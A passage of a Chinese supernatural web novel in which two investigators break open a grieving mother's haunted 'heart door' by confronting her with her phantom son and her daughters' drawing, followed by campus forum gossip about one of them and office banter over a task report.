没有丝毫停顿。 “哗啦——!” 他一把掀开了那扇厚重的,遮挡了太多秘密和恐惧的灰色窗帘。 第33章 第 33 章 一家几口14 “哗啦——!” 厚重的灰色窗帘被宿珩猛地一把掀开, 布料摩擦着空气,发出沉闷的声响。 窗帘后面,蜷缩着一个骨瘦如柴的小男孩。 他看起来不过四五岁光景, 套着一件脏污不堪、明显过大的旧短袖,光着脚丫,脚背糊满了泥垢。 头发乱蓬蓬拧在一起, 如同荒草,小脸上混合着污渍与不明黑痕。 唯独那双眼睛,在幽暗中迸发出惊人亮光, 像受困的狼崽, 闪烁着近乎野性的警惕与凶狠, 死死剜向宿珩这个不速之客。 光线涌入,将他肮脏瘦小的身体, 完全暴露在众人视线之下。 小男孩仿佛被这突如其来的光亮灼痛,又或是对暴露人前怀有极致恐惧,喉咙里泄出一声短促而压抑的气音。 他猛地双手抱头,脸深深埋进双膝之间, 整个身体蜷缩得更紧, 控制不住地瑟瑟发抖。 客厅里死一般的寂静被打破, 所有人的目光都下意识地投向了那个角落。 有两个人却是例外。 端坐主位的老太婆, 只是极不耐烦地掀了掀耷拉的眼皮。 她浑浊眼珠扫过被宿珩粗鲁扯开的窗帘,却完全无视了地上那个颤抖的小小身影。 反倒是不满地嘟囔起来:“使那么大劲弄啥?拉坏了不要你赔啊?” 抱怨刚落, 老太婆便低下头,重新抄起筷子, 精准夹起一块黑糊糊的炒肉,再次若无其事塞进嘴里,干瘪腮帮满足地蠕动着。 她身旁的男人, 也仅仅是眼皮微抬。 视线在那小男孩身上极快地掠过,如同扫过一粒灰尘,没有丝毫停留,便迅速移开,继续埋头扒拉碗中米饭,仿佛那个角落空无一物。 他们……是真的看不见? 或者说,是彻底的无视? “啪嗒!” 清脆一声,张春和手中筷子没能握住,应声掉落在油腻的桌面。 他双眼瞪得滚圆,嘴巴无意识张开,脸色惨白如纸,死死盯着三个女孩。 “嗬……嗬……嗬……” 原本无聊戳着碗里饭的三姐妹,脸上的血色宛如被某种无形力量瞬间抽空,毫无征兆地化为一片骇人的铁青! 她们的身体猛地僵直,眼珠向上急翻,露出大片大片令人心悸的惨白眼底。 三双手,不约而同,死死掐住了自己的脖颈! 指节因过度用力而凸起,泛出一种尸体般的青白色泽。 喉咙深处,挤压出痛苦而艰涩的喘息,如同破败风箱被暴力拉扯,随时可能彻底崩裂。 这恐怖景象,与昨天饭桌上那场令人不安的“窒息表演”如出一辙,却又远比昨日更加狰狞,更加贴近真实的死亡! 她们维持着这副令人毛骨悚然的模样,身体却像被看不见的丝线操控的提线木偶,僵硬地齐齐转过身来。 三双逐渐被浓稠墨色所侵蚀,失去了所有生气的空洞眼眸,齐刷刷转向宿珩。 那眼神里没有焦距,只有一种冰冷彻骨的死寂,仿佛不是活着的人类,而是从泥土里爬出来的,浸透了阴冷的鬼魅。 “我……的妈呀……” 这近在咫尺的诡异恐怖,让离她们最近的张春和吓得两股战战,几乎要背过气去。 宿珩就站在窗帘旁边,距离那三个女孩不过几步之遥。 三双黑黢黢的眼珠锁定了他,铺天盖地的怨恨和压抑如同潮水般向他涌来。 他那异于常人的体质,对这种浓烈的负面情绪异常敏锐。 刹那间,一股强烈到令人窒息的感觉攫紧了他的胸腔,仿佛有无形巨手也正死死掐住他的脖子,每一次呼吸都变得无比沉重、困难。 这种感觉,与张春和梦中被困在狭小黑暗空间里的无助感,以及女孩们此刻表现出的状态,惊人相似。 就在宿珩感到不适的同时,一直站在他身旁不远处的肖靳言,目光则在这一刻变得锐利如刀。 他黑沉的目光落在宿珩略显苍白的侧脸上,眼神深处的情绪波动快得难以捕捉,只余一丝沉凝。 是惊叹于宿珩的决绝,也夹杂着一丝难以掩饰的担忧。 肖靳言确实没料到,宿珩会选择如此大胆、如此直接、甚至可以说粗暴的方式—— 一举将那个一直隐藏在家庭阴影最深处的“弟弟”,彻底暴露在所有人面前。 但肖靳言同样清楚,王秀珍的状态太过特殊。 她将自己彻底封闭在麻木和逃避的硬壳里,常规的试探和引导恐怕很难奏效。 或许,只有像现在这样。 用最直接、最残酷的方式,强行将她内心最深的恐惧、最痛的创伤,血淋淋地挖出来,摆在她面前。 才有可能真正撼动她那死水般的精神世界。 然而,女孩们的反应,显然超出了预期。 她们身上散发出的那种阴冷怨毒的气息,其浓烈程度,让身经百战的肖靳言也感受到了一丝迫近的危险。 他的目光扫过三个女孩死死掐住自己脖颈的双手,指尖微不可查地动了动。 藏于冲锋衣袖口之下的右手,已经无声无息地搭在了那柄短刀冰冷坚硬的刀柄之上,随时准备应对可能爆发的突变。 与此同时,一直如同幽魂般,默默站在厨房门口那片阴影里的王秀珍,身体开始无法抑制地剧烈颤抖起来。 她双手死死捂住自己的嘴,指节用力到发白,仿佛要拼尽全力阻止即将冲破喉咙的尖叫或呜咽。 水草般杂乱的长发垂落下来,遮掩了她大半张憔悴面容。 但从凌乱发丝的缝隙间,依然可以窥见,她的眼睛正以惊人的速度一点点爬满骇人的血丝。 那眼神复杂到了极致。 里面翻涌着对角落里那个小男孩的眷恋、恐惧、痛苦、愧疚…… 以及一种濒临彻底崩溃边缘,深不见底的绝望! 这些浓烈到近乎实质的情绪,如同决堤的洪水,铺天盖地朝着打破了这层虚假平静的宿珩扑去。 宿珩的脸色瞬间又白了几分,胃里一阵翻江倒海,喉头涌上强烈的恶心感。 这股源自王秀珍的庞大而混乱的负面情绪,远比三个女孩散发出的怨恨更加沉重、更加污浊,让他感到一阵难以言喻的强烈不适。 更令人惊悚的是,王秀珍身上的衣服,从干枯的发梢到破旧的衣角,竟然以肉眼可见的速度迅速变得湿漉漉的! 水珠顺着她的发梢、指尖滴落,在地上晕开一小滩水渍。 混合着厨房飘散出来的油腻气味,散发出一种令人作呕的腥腐气息。 她整个人,连同那三个保持着窒息姿态的女儿,都像是在朝着某种非人的方向转变。 肖靳言眼神倏地变冷,下意识扣紧了短刀刀柄。 他拧眉扫向依旧在埋头吃饭,对这一切仿佛视若无睹的老太婆和男人。 肖靳言忽然开口,声音不高,却带着一种不容置疑的穿透力。 “你们两个……真的看不到吗?” 此话一出! 老太婆夹菜的动作猛然顿住,手臂僵在半空。 男人扒饭的筷子也仿佛被瞬间冻结,停留在嘴边。 两人的身体瞬间绷紧。 男人那一直习惯性低垂着的肩膀,更是无法抑制地剧烈颤抖起来。 他们能看到。 他们当然能看到。 他们一直都知道那个阴暗角落里蜷缩着什么。 但他们和王秀珍一样,不约而同地无视着,麻木着,对这个家早已扭曲到骨子里的痛苦和绝望—— 视而不见。 听而不闻。 或者更准确地说…… 他们只是对王秀珍的痛苦和绝望视而不见。 …… 肖靳言脸上没什么表情,只是眼底温度降了几分。 这个“心门”确实特殊,作恶者不仅仅是眼前这两个自私冷漠的帮凶。 更有心门的主人——王秀珍自己。 她既是承受者,也是缔造这一切绝望的一部分。 肖靳言的视线不着痕迹地扫过宿珩。 对方的侧脸在重压下更显苍白,但他站得很稳,眼神依旧清明,没有丝毫慌乱。 只见宿珩抬手伸进口袋。 屋内瞬间安静,所有目光,无论是惊恐还是痛苦,都落在了宿珩伸出的手上。 宿珩掏出一张折叠得整整齐齐,边角泛黄的画纸。 以及三枚一模一样的粉色塑料蝴蝶发卡。 当那三枚发卡被并排放在宿珩微凉的掌心时—— 三个女孩掐着脖子的手,在看到发卡时,不易察觉地颤抖了一下,力道微松。 她们翻上去的眼白中,极其短暂地掠过一丝属于人类的迷茫。 虽然转瞬即逝,却足以被捕捉。 而王秀珍,她的身体颤抖得更加剧烈。 那双布满血丝,几乎要淌下血泪的眼睛死死盯住宿珩手中的发卡,像是看到了什么让她痛苦到极致,却又无法割舍的东西。 她原本捂着嘴的手,不受控制地缓缓放下,因为异化而生出的尖长指甲颤抖着,一点点朝着那三枚廉价的发卡伸去。 宿珩没有理会她那只仿佛已经不属于人类的手。 他只是将那张画纸缓缓展开。 画纸粗糙,蜡笔的颜色黯淡模糊,线条稚嫩扭曲。 宿珩的指尖,轻轻点在那三个被黑色蜡笔强行涂改成哭脸的小火柴人脸上。 他的声音不高,却字字清晰,像锥子一样凿开王秀珍麻木的外壳。 “你一直以为,她们从一开始就不喜欢他,怨恨他。” “你觉得她们自私、冷漠,容不下这个你盼了那么久的弟弟。” 宿珩的目光平静地迎上王秀珍那双,充满痛苦和绝望的眼睛。 “但你从没想过,在你一心期盼着他到来的时候,她们也曾在那张狭窄破旧的书桌上,用她们仅有的几支蜡笔,一遍又一遍,偷偷描画过一家人站在一起的样子。” 他的指尖,从那被涂改的哭脸上移开,点向画纸上原本被红色蜡笔勾勒出的,那代表着最初笑意的浅淡痕迹。 “你不知道,她们也曾对着这张画,小声讨论过,以后要怎么带着弟弟玩,要把自己偷偷藏起来的糖分给他吃。” “你只看到了她们后来的怨和恨,却忘了她们最初,也曾有过那样笨拙而微小的……期待。” 每一个字,都像一把烧红的烙铁,狠狠烫在王秀珍的心上。 她止不住地剧烈发抖,喉咙里发出破碎的呜咽,布满血丝的眼里翻涌着无边无际的挣扎和痛苦。 那些被她强行压抑、试图遗忘的记忆碎片,如同被砸开的堤坝缺口,汹涌而出。 是啊…… 她好像…… 隐约记起来了…… 在她刚刚确认怀上,小心翼翼地护着肚子,满心欢喜又忐忑不安的时候,好像……好像是听到过女儿们在房间里小声地、兴奋地讨论着什么…… 大妮说,以后要把自己的零花钱攒起来,给弟弟买玩具枪。 二妞说,她会把最好看的发卡送给弟弟……不对,弟弟是男孩子,不能戴发卡,那、那她就把自己最喜欢的玻璃弹珠送给他。 三娣还太小,只会傻乎乎地跟着姐姐们笑,说要和弟弟一起玩…… 那些被痛苦和绝望掩埋的细碎画面,争先恐后地涌入王秀珍的脑海。 王秀珍的呼吸猛地急促起来。 眼泪混合着脸上那诡异的湿漉,汹涌滑落。 她痛苦地摇着头,想要否认,想要逃避,但那些画面却越来越清晰,如同跗骨之蛆,死死缠绕着她。 但这还不够。 这点被勾起的,掺杂着愧疚的温情,还不足以撼动这扇由更深沉黑暗的绝望,所铸就的“心门”。 宿珩看着她眼中那翻江倒海的痛苦,眼神没有丝毫动摇。 他猛地收回拿着画纸和发卡的手。 目光甚至没再瞥一眼,墙角那个因为王秀珍情绪剧烈波动,而抖若筛糠的小男孩。 下一秒,宿珩直接弯腰,一把抓住了小男孩瘦骨嶙峋的胳膊! 那小小的身体轻得像一片羽毛,皮肤冰冷,没有一丝活人的温度。 “啊——!” 小男孩大概从未想过会有人真的触碰他,更别说是如此粗暴地抓住他。 他的喉咙里爆发出惊恐到极致的尖叫,声音嘶哑难听。 他拼命挣扎,手蹬脚刨,像一条被扔上岸的鱼,用尽全身力气想要摆脱宿珩的钳制。 但宿珩的手稳如铁钳。 他无视了小男孩的尖叫和挣扎。 手臂稍一用力,直接将这个瘦小肮脏、象征着王秀珍所有痛苦根源的“幽灵”,从阴暗的角落里,一把拽了出来! 动作干净利落,毫不拖泥带水。 小男孩被这股力量扯得一个趔趄,几乎是摔倒在地,又被宿珩强行拉扯着站稳。 宿珩毫不留情地,将他推到了客厅中央。 推到了那三个面容扭曲、掐着自己脖颈的“姐姐”面前。 推到了他那濒临崩溃、半人半鬼的母亲面前! 强行,让他们面对面。 王秀珍看着被拽出来的小男孩,看着女儿们更加痛苦扭曲的模样,再也支撑不住。 “不……不要……” 她发出一声凄厉到不似人声的哀鸣,整个人猛地瘫软下去,跪倒在地。 她双手死死抓挠着自己的头发,身体剧烈抽搐,口中发出意义不明的呜咽和嘶吼。 一直麻木假装吃饭的老太婆和男人,此刻也终于无法再维持那份事不关己的平静。 老太婆手里的筷子掉在了地上,浑浊的眼睛里第一次清晰地露出了恐惧。 男人更是吓得从椅子上弹了起来,脸色煞白,嘴唇哆嗦着,看向王秀珍和孩子们的眼神充满了惊恐。 宿珩松开了钳制着小男孩的手,向肖靳言和张春和平静地使了个眼色。 肖靳言会意,转身往602门外走。 吓得腿软的张春和立马踉踉跄跄地跟上。 宿珩森*晚*整*理落在了最后。 关拢木门前,他最后看了眼屋内的景象。 不破不立。 他这是在用最极端的方式,为王秀珍制造一个直面过去、宣泄绝望的契机。 第34章 第 34 章 一家几口(完) 602门外。 楼道里光线昏暗, 肖靳言靠着墙壁,目光落在宿珩身上。 他注意到宿珩垂在身侧的手,指尖正以一种极细微的幅度轻轻颤抖着, 若非刻意去看,几乎难以察觉。 “我还以为你一点都不怕。” 肖靳言的声音懒洋洋地响起,带着惯有的调侃, 划破了楼道里紧绷的寂静。 宿珩掀了掀眼帘,淡淡瞥向他,脸上还残留着未完全褪去的苍白。 他将那只微颤的手收拢, 插进了裤兜, 语气平淡无波地反问:“不是有你在吗?” 这话轻飘飘的, 分不清是全然的信任,还是某种理所当然。 肖靳言摸了下鼻子, 喉咙里滚出一声低笑,像是被这出乎意料的回答给逗乐了。 “呵……胆子真够野的,跟个赌徒似的。” 宿珩没接话,算是默认了这个评价。 方才的举动, 无异于一场走在刀尖上的豪赌。 赌王秀珍那濒临崩溃的神经, 还能承受住最后一根稻草的重量。 赌她心底对女儿们那点被绝望层层覆盖的愧疚与爱, 能被这般粗暴地强行唤醒。 几步开外, 张春和的魂儿仿佛还没跟回来。 他离那扇紧闭的602房门远远的,看看宿珩, 又看看肖靳言,心惊肉跳地问:“刚……刚才那样……就行了?” 宿珩摇了摇头。 “当然不可能。” “那只是在她密不透风的心防上, 强行撕开一道口子,让积压的东西有个宣泄的途径。” “那……那接下来呢?”张春和彻底没了主意,本能地看向两人。 宿珩只吐出一个字:“等。” 于是, 三人便在这条狭窄昏暗的楼道里,开始了漫长的等待。 602的房门像是一道脆弱的屏障,虽紧闭着,却挡不住里面泄露出的声音。 起初是压抑的呜咽,像困兽绝望的低吼,断断续续,饱含着无处排遣的痛苦。 随即,呜咽声骤然拔高,撕裂成凄厉尖锐的哭嚎,夹杂着女人濒临崩溃的嘶吼,仿佛要将心肝脾肺都一并呕出。 紧接着,是噼里啪啦的打砸声。 瓷碗碎裂的脆响,桌椅被掀翻的闷响,铁锅铝盆砸落地面的哐当巨响…… 混乱嘈杂,像一场迟来的风暴,终于在这狭小的空间内,找到了爆发的出口,疯狂席卷。 混乱中,依稀能捕捉到老太婆惊恐的尖叫和男人带着哭腔的求饶—— “秀珍……秀珍你冷静点!有话咱们好好说……” “我们错了!我们错了还不行吗!” “你别这样……孩子们还在呢!” “啊——!我的腰!” 哭声、骂声、求饶声、打砸声……扭曲地交织在一起。 其间,似乎还夹杂着几声怪异的笑,时而低沉,时而尖利,不带半分喜悦,反倒像是痛苦到极致后,某种诡异的释放。 张春和听得头皮发麻,后背的冷汗濡湿了衣衫,他紧紧贴着冰凉的墙面,恨不能将自己嵌进去。 肖靳言依旧靠着墙,姿态瞧着放松,眼神却始终落在602的门板,以及宿珩的侧影上。 宿珩则背靠着另一边的墙,眼帘微垂,像是在闭目养神,又像是在凝神细听,分辨着门内每一种声响的起落,感受着那场风暴的轨迹。 时间在压抑的等待中一点点流逝。 楼道里的光线愈发昏暗。 门内的动静,由最初的狂暴激烈,渐渐变得稀疏,透出一种力竭的疲惫。 打砸声歇止了,哭嚎也低了下去,变成了断续的抽泣,求饶和尖叫归于沉寂,只余下一片令人心头发沉的死寂。 张春和靠着墙,眼皮越来越沉,脑袋一点一点的,意识渐渐模糊,几乎就要在这压抑的等待中睡着。 就在他即将彻底失去意识的前一秒—— “吱呀——” 一声轻微的,带着滞涩感的开门声响起。 张春和一个激灵,瞬间清醒过来。 三人目光齐刷刷投向声音的源头。 602的房门被拉开了一条缝隙。 门口站着的人,是王秀珍。 她还是那副蜡黄憔悴、头发枯乱的模样,身上是洗得泛白的旧衣,脸上也依旧笼罩着浓重的疲惫。 但和之前相比,她整个人身上那股浓重到化不开的死气和麻木感,似乎消散了许多。 最显着的,是她的眼睛。 那双曾经如同死水般空洞无神的眼睛里,此刻虽然依旧承载着难以言喻的痛楚与悲伤,却不再是全然的麻木不仁。 里面似乎多了些别的东西…… 像是某种沉重负担被卸下后的虚脱,又像是……一丝微弱的,风暴过境后的平静。 她身上那种诡异的湿漉感,那种非人的异化迹象,也已消失不见。 王秀珍的目光缓缓扫过站在门外的三个人,视线在宿珩脸上停顿了片刻。 她的嘴唇翕动了一下,像是有话要说,最终却只化作一声轻不可闻的叹息。 她移开目光,默默将门拉得更开一些,无声地示意他们可以进去。 透过敞开的门缝,屋内触目惊心的狼藉尽收眼底。 客厅中央那张油腻的木桌被掀翻在地,桌腿断了一根,歪歪扭扭地支棱着。 地上到处是摔碎的碗碟碎片,锅碗瓢盆横七竖八地散落着,汤汤水水混杂着饭菜残渣,泼得到处都是,黏腻肮脏,几乎找不到可以落脚的地方。 那个往日里尖酸刻薄的老太婆,和那个总是低眉顺眼的男人,此刻正像两只被吓破了胆的鸡,抱头缩在墙角。 他们脸上身上都带着清晰的抓痕和淤青,衣服也被撕扯得不成样子,眼神里只剩下惊恐和后怕,连大气都不敢用力喘。 宿珩的目光在屋内迅速掠过。 角落里,那扇厚重的灰色窗帘仍被扯开着,但窗帘后面……空空如也。 那个盘踞在阴影中,象征着王秀珍的痛苦根源,臆想出来的小男孩,不见了。 而在那片狼藉的地面上,三个小女孩——大妮、二妞、三娣,已经恢复了正常的模样。 她们身上那股令人不安的窒息感消失了,脸上虽还带着惊吓过度的苍白,但眼神却已重归孩童应有的清亮。 此刻,她们正趴在脏兮兮的地板上,小心翼翼地在那堆碎片和垃圾中,埋头翻找着什么,神情专注而焦急。 大妮找到了几本封面被踩脏的新作业本,赶紧用袖子擦干净,宝贝似的抱在怀里。 二妞和三娣则撅着小屁股,在一堆碎瓷片里仔细地寻找着她们被打飞的新铅笔。 每找到一支,就如获至宝地吹掉上面的灰尘,紧紧攥在手心。 她们仿佛全然不觉周围的混乱,也无视了父母和奶奶的狼狈。 所有的心神,都倾注在了那些刚刚失而复得的,崭新的文具上。 那是她们在这个灰暗压抑的家里,难得拥有的一点点,属于自己的微弱色彩。 …… 肖靳言的视线在狼藉的客厅里扫了一圈。 这扇摇摇欲坠的“心门”,被宿珩那一下狠的,何止是撕开裂缝,简直是踹开了大半扇门。 这家伙……胆子和手段,都远超他见过的许多所谓资深清理师。 王秀珍看了看墙角惊魂未定的丈夫和婆婆,又看了看地上专心致志捡拾文具的女儿们,最后,目光重新落回到宿珩身上。 她的喉咙滚动了一下,发出沙哑干涩的声音。 “那张画……还有发卡……能给我吗?” 宿珩没有犹豫,从口袋里取出了那张折叠的画纸,和那三枚粉色的蝴蝶发卡。 王秀珍伸出微微颤抖的手,接了过来。 她的指尖在那张泛黄粗糙的画纸上轻轻摩挲着,眼神复杂,有痛楚,有追忆,还有一丝难以言喻的温柔眷恋。 几秒后,她像是下定了某种决心,深吸一口气,双手用力。 “刺啦——” 那张承载了太多扭曲情感和微末期待的画,被她毫不犹豫撕碎,碎纸飘落在脚下的狼藉之中。 她没有再看那些碎片一眼。 转而,她拿起那三枚廉价的粉色发卡,转身,一步步走向她的女儿们。 三个女孩正撅着屁股,在碎碗片里翻找着最后一根被崩飞的铅笔,完全没注意到身后的母亲。 王秀珍蹲下身,动作带着一种久违的生疏,甚至有些笨拙。 她伸出手,将一枚发卡小心翼翼地别在了大妮有些散乱的头发上。 大妮的动作顿了一下,茫然地抬起头,看了母亲一眼,似乎有些不解,但很快又低下头,继续寻找。 王秀珍又拿起第二枚,别在了二妞的头上。 二妞只是肩膀瑟缩了一下,没有抬头。 最后,她将第三枚发卡,轻轻卡在了年纪最小的三娣,那细软发黄的头发上。 三娣抬起小脸,冲着母亲露出了一个有些怯怯的,却真实的笑容。 做完这一切,王秀珍仿佛用尽了全身的力气。 她没有起身,就那样疲惫地跌坐在满是污水的地上,背靠着冰冷的墙壁。 她的视线放空,望着天花板上那盏昏暗的灯泡,声音低沉而空洞,像是从很远的地方飘来。 “我没想过……会是这样……” “那天……我下楼去买点酱油……楼梯上不知道谁洒了水……” “我没看见……脚下一滑……” 她的声音开始颤抖,带着无法抑制的哽咽。 “肚子……撞在了台阶上……” “等我反应过来……已经流了好多血……” “医生说……孩子没了……是个男孩……已经快五个月了……” 她说到这里,痛苦地闭上眼睛,眼泪无声地滑落,混合着脸上的污渍。 “从那以后……我就像丢了魂一样……” “脑子里总是嗡嗡响……什么也听不见,什么也看不清……” “婆婆天天指着我的鼻子骂,骂我是个不会下蛋的鸡,骂我断了他们家的香火……” “他就在旁边看着……一句话都不敢说……” 王秀珍的声音越来越低,充满了绝望的疲惫。 “那天中午……我正在厨房做饭……恍恍惚惚的……好像看见……看见一个小男孩的影子……从阳台窗帘后跑了出去……” “我以为……是他回来了……” “我就跟着跑了出去……满楼地道找……可什么都没有……” “等我……等我回来的时候……” 她的声音戛然而止,取而代之的是痛苦到极致的抽噎。 “煤气……我忘了关煤气……” “她们三个……就倒在客厅里……” “脸都青了………” 她猛地用双手捂住脸,身体剧烈地颤抖起来,发出压抑而绝望的呜咽。 “送到医院……抢救过来了……但是……” “二妞……二妞她……就再也不肯说话了……” “是我害了她们……都是我……” “是我这个没用的妈……害了自己的孩子……” 愧疚、自责、痛苦,如同沉重的枷锁,将她死死困在这无边的绝望里,日复一日,年复一年。 所以,这才是这扇“心门”真正的根源。 双重打击,无尽的自责,彻底摧毁了她。 宿珩安静地听完。 他看着瘫坐在地上,被巨大痛苦淹没得几乎无法呼吸的女人。 平静开口,声音不高,却清晰地传入了王秀珍的耳中。 “人不能活在过去。” “你还可以继续做个好母亲。” 简简单单的两句话。 却像是一把钥匙,猛地捅开了王秀珍心中那道淤塞了太久太久的闸门。 她捂着脸,先是无声地颤抖,随即,压抑不住的嚎啕大哭,如同决堤的洪水般,汹涌而出。 那哭声里,有失去孩子的痛,有伤害女儿的悔,有长久压抑的委屈,更有被理解后,那一点点卸下重负的释放。 她哭得撕心裂肺,仿佛要将这些年积攒的所有痛苦和绝望,都随着眼泪,彻底倾泻出来。 墙角的男人和老太婆看着这一幕,脸上除了恐惧,似乎也多了一丝茫然和无措。 三个女孩停下了手中的动作,呆呆地看着痛哭不止的母亲,小脸上写满了不安。 张春和站在门口,看着眼前这悲伤的一幕,也忍不住红了眼眶,悄悄抹了把泪。 肖靳言倚着门框,静静看着屋内的一切。 他的视线不经意间掠过没有窗帘遮挡的窗户。 外面,那片如同死灰般沉寂的天空,不知何时,已经透出了微亮的光芒。 天光正一点点驱散弥漫在楼道和屋内,那种令人窒息的阴冷与压抑。 肖靳言知道,这扇由绝望构建的心门,正在随着主人的情绪释放,逐步瓦解。 屋内的哭声渐渐低了下去,只剩下疲惫的抽泣。 满地的狼藉似乎也没有之前那么刺眼了,那股混合着油腻、腥臊和腐败的怪味,也在一点点淡去。 墙角的老太婆和男人,身体不再像之前那样剧烈颤抖,只是仍旧缩在那里,大口喘息。 三个小女孩依旧坐在地上,抱着她们捡回来的本子和笔,脸上的惊吓之色慢慢褪去,取而代之的是一种劫后余生的茫然。 王秀珍跪坐在地上,身体不再抽搐,只是低着头,肩膀一耸一耸的,眼泪还在流淌,但那种濒临崩溃的疯狂已经消失了。 整个空间,像是褪去了某种扭曲的滤镜,正在缓缓地恢复它本应有的,虽然贫困却至少是现实的模样。 宿珩站在一片狼藉中,看着屋内的一切,感受着周围空气中,那种迅速消散的负面能量。 心门……正在消散。 肖靳言转过身,看向宿珩。 他没说话,只是冲他微微点了点头,示意他该走了。 宿珩“嗯”了声,径直迈步走出了602。 肖靳言跟上,经过张春和身边时,拍了拍他的肩膀。 “走吧,已经结束了。” 张春和这才如梦初醒,赶忙跟了上去,小跑着走向楼梯。 第35章 第 35 章 失效链接1 三人顺着布满污渍的楼梯往下走, 脚步声在空旷的楼道里回响。 每下一层,那种弥漫在空气中的阴冷潮湿感就淡去一分,取而代之的是外面世界传来的, 模糊的市井喧嚣。 当最后一级台阶落在脚下,重新踏上小区坑洼的水泥地面时,张春和像是刚从水里捞出来一样, 长长地呼出一口气,仿佛要把肺里积攒了几个世纪的浊气全都吐干净。 午后的阳光虽然算不上炽烈,但照在身上, 却带来一种久违的暖意和真实感。 “活……活过来了……” 张春和抹了把额头上的冷汗。 他转向宿珩和肖靳言, 脸上又是后怕又是感激, 他想说点什么,却一时组织不好语言, 最后只能不断道谢。 “谢……谢谢!真的,太谢谢你们了!要不是你们,我……我肯定就……” 肖靳言随意地摆了摆手,打断了他的语无伦次, 那点小场面还没放在他心上。 送走张春和后, 他侧头看向宿珩。 后者正微微眯着眼, 似乎不太适应这重新回归的阳光, 白皙的皮肤在光线下近乎透明。 “回学校?”肖靳言问。 宿珩轻轻“嗯”了声。 “跟我来。”肖靳言抬步朝着小区外走去。 宿珩略感不解,但还是跟了上去。 穿过破旧的小区铁门, 来到外面停满杂乱车辆的街道。 肖靳言在一辆看起来并不张扬,但线条流畅、漆黑锃亮的越野车旁停下。 宿珩对车没什么研究, 但也看得出这车价值不菲,绝非普通代步工具。 肖靳言按了下钥匙,车灯闪烁, 他拉开驾驶座的门,坐了进去,然后偏头示意宿珩:“上车,送你。” 宿珩没客气,拉开副驾驶的门坐了进去。 车内空间宽敞,真皮座椅触感舒适,空调送出恰到好处的凉风,隔绝了窗外的嘈杂和热意。 车辆驶出手表厂小区那片老旧的区域,朝着京州大学的方向开去。 车内一时安静,只有引擎平稳运行的低沉声音。 过了一会儿,肖靳言握着方向盘,目光看着前方路况,忽然像是随口一提般问道:“你觉得,王秀珍摔倒那天,楼梯上的水……是谁洒的?” 宿珩靠着椅背,视线落在窗外飞速掠过的街景上。 他沉默了几秒,才淡淡开口:“我不喜欢阴谋论。” 肖靳言闻言,挑了挑眉梢,唇角似乎向上弯了一下,没再追问。 宿珩却微微侧头,看向后视镜。 镜中,那栋灰扑扑的六层居民楼越来越远,最终消失在视野里。 601和603的狭窄空屋…… 这些设定,仅仅是为了给他们提供线索,推动进程的吗? 还是说,这扇由王秀珍的绝望构筑的“心门”里,还隐藏着更深层,连她自己都未曾意识到的扭曲? 这个念头只在脑海里一闪而过,他没有说出口。 大约半小时后,黑色越野车平稳地停在了京州大学南门附近的路边。 这个时间点,正是下午课结束,学生们三三两两走出校门的时候。 这辆外形低调却难掩豪华质感的越野车,立刻吸引了不少路过学生的目光。 宿珩解开安全带,推门下车。 “谢了。” 他对着车里的肖靳言点了下头,算是道别。 肖靳言单手搭在方向盘上,冲他扬了扬下巴:“明天有空来趟办事处,办个手续。” “嗯。” 宿珩应了声,转身走向校门。 就在他转身的瞬间,不远处,一个男生飞快地举起手机,对着宿珩和那辆越野车,“咔嚓”拍了张照片。 他脸上带着兴奋又略带恶意的笑容,手指在屏幕上飞快地敲打着。 宿珩对此毫无察觉,径直刷卡进了校门。 他回到宿舍时,里面只有室友1在。 对方正对着电脑屏幕噼里啪啦地敲键盘,看到宿珩回来,动作停顿了一下,脸上闪过一丝欲言又止的神色。 “回来了?” 室友1含糊地打了声招呼。 宿珩点点头,走到自己的书桌前坐下。 过了几秒,他的手机震动了一下,是室友1发来的微信消息,只有一个链接。 宿珩点开。 是学校的匿名论坛。 置顶飘红的帖子标题异常醒目,甚至带着几分刻意的暧昧和恶意—— 【惊爆!某院系草一天未上课,疑似被校外神秘豪车接走!】 主楼附带着一张照片,正是刚才那个男生偷拍的角度。 照片里,宿珩刚从黑色越野车的副驾下来,车门尚未关拢,能隐约看到驾驶座上男人的侧影轮廓。 拍摄者显然很懂如何引导舆论,角度刁钻,刚好捕捉到宿珩微低着头,似乎在和车里人说话的瞬间。 下面的评论已经盖了上百楼。 [卧槽!这不是那谁吗?他昨天下午和今天的专业课都没来!] [这车……顶配得小三百万吧?他哪儿认识这么有钱的人?] [啧啧,长得好看就是好啊,都不用自己奋斗了。] [呵呵,别酸了,说不定是人家亲戚呢?不过看驾驶座像个男的……] [细思极恐,不会是被包/养了吧?] [楼上嘴巴干净点!说不定只是朋友送他回来呢?] [什么朋友开这种车啊?我反正不信。平时看他穿得挺普通的,没想到……] [怪不得那么高冷,原来是钓上金/主了。] 各种带着恶意的揣测和污言秽语层出不穷,其中夹杂着几条试图辩解的声音,但很快就被淹没。 宿珩面无表情地划着屏幕,眼神没有丝毫波动。 这些无聊的口水,甚至没能在他心里激起半点涟漪。 相比之下,他更关心的是…… 这次“心门”的任务奖金,会是多少? 肖靳言之前提过,最低五万起步。 正想着,手机又震动了一下。 是肖靳言发来的微信消息。 [肖:明天上午有课么?] [肖:没课的话记得来办事处,把你银行卡号登记一下,顺便签个入职协议。工资和这次的任务奖金一起发你。] 宿珩看着消息,手指在屏幕上敲了敲,回了个简短的表情包。 [宿珩:好的。] 消息刚发出去,对方几乎是秒回。 [肖:对了,这次任务的报告,你抽空写一下,尽快交给我。] [宿珩:。] [宿珩:你不是全程都在?] [宿珩:你自己写。] 屏幕那头的肖靳言看着这理直气壮的几个字,沉默了几秒。 [肖:……] [肖:行。] …… 当天傍晚,街道清理办事处,二楼处长办公室。 闫知许抱着一摞需要签字的文件,敲门走了进去。 “处长,这几份文件需要您签……” 话说到一半,闫知许的声音卡住了。 他看见自家那位向来只负责动嘴,偶尔“动手”的处长,此刻正坐在宽大的办公桌后,难得地……在写东西? 而且看那格式,分明是一份标准的“心门”清理任务报告。 闫知许有些纳闷,忍不住多嘴问了一句:“处长,这个……不是应该让新人来写吗?熟悉一下流程什么的……” 肖靳言抬起头,凉飕飕地瞥了他一眼。 那眼神没什么情绪,却让闫知许瞬间闭上了嘴,后背莫名有点发凉。 “放那儿吧。” 肖靳言指了指桌角。 “是……是!” 闫知许连忙把文件放下,如同被踩了尾巴的猫一样,飞快地退了出去,还顺手带上了门。 一离开办公室,闫知许立刻摸出手机,在办事处内部的工作小群里发了条消息。 当然,这个群里没有肖靳言。 [重大发现!老大居然亲自在写新人的第一份任务报告!] 群里瞬间炸开了锅。 [???真的假的?太阳打西边出来了?] [小闫你没看错吧?老大还会写报告?我以为他只会签“阅”字。] 